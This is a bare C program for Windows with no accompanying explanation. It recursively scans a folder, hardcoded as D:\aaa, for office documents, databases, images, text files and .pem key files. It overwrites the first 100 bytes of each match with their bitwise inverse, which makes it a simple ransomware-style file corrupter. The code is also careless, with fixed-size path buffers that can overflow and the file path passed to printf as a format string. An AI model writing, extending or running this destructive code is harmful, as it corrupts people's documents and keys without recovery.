1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| #include <windows.h> #include <stdio.h>
void concat_path(char *dir, char *filename) { int i = 0; while (dir[i] != '\0') { i++; } if (dir[i-1] != '\\') { dir[i] = '\\'; i++; } int j = 0; while (filename[j] != '\0') { dir[i] = filename[j]; i++; j++; } dir[i] = '\0'; }
void remove_file_path(char *dir) { int i = 0; while (dir[i] != '\0') { i++; } if (dir[i-1] == '\\') { i -= 2; } while (dir[i] != '\\') { i--; } dir[i+1] = '\0'; }
BOOL is_target_filetype(char *filepath) { int length = strlen(filepath); BOOL result = FALSE; if (length >= 4) { result = result || !strcmp(&filepath[length-4], ".doc"); result = result || !strcmp(&filepath[length-4], ".xls"); result = result || !strcmp(&filepath[length-4], ".sql"); result = result || !strcmp(&filepath[length-4], ".pem"); result = result || !strcmp(&filepath[length-4], ".jpg"); result = result || !strcmp(&filepath[length-4], ".rtf"); result = result || !strcmp(&filepath[length-4], ".txt"); result = result || !strcmp(&filepath[length-4], ".mdb"); } if (length >= 5) { result = result || !strcmp(&filepath[length-5], ".xlsx"); result = result || !strcmp(&filepath[length-5], ".docx"); } return result; }
void ParseFileSystem(char *path) { WIN32_FIND_DATAA FileData; concat_path(path, "*"); HANDLE hFindFile = FindFirstFileA(path, &FileData); remove_file_path(path); do { if (FileData.cFileName[0] == '.') { continue; } if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { concat_path(path, FileData.cFileName); ParseFileSystem(path); remove_file_path(path); } else if (is_target_filetype(FileData.cFileName)) { concat_path(path, FileData.cFileName); printf(path); HANDLE hFile = CreateFile(path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hFile) { goto nextfile; } char Buffer[100]; int num; if (!ReadFile(hFile, Buffer, 100, &num, NULL)) { goto nextfile; } for (int i = 0; i < num; i++) { Buffer[i] = ~Buffer[i]; } SetFilePointer(hFile, 0, NULL, FILE_BEGIN); if(WriteFile(hFile, Buffer, num, NULL, NULL)) { printf("\tsuccess"); } nextfile: printf("\n"); remove_file_path(path); } } while (FindNextFileA(hFindFile, &FileData)); }
int main() { char path[100] = "D:\\aaa"; ParseFileSystem(path); return 0; }
|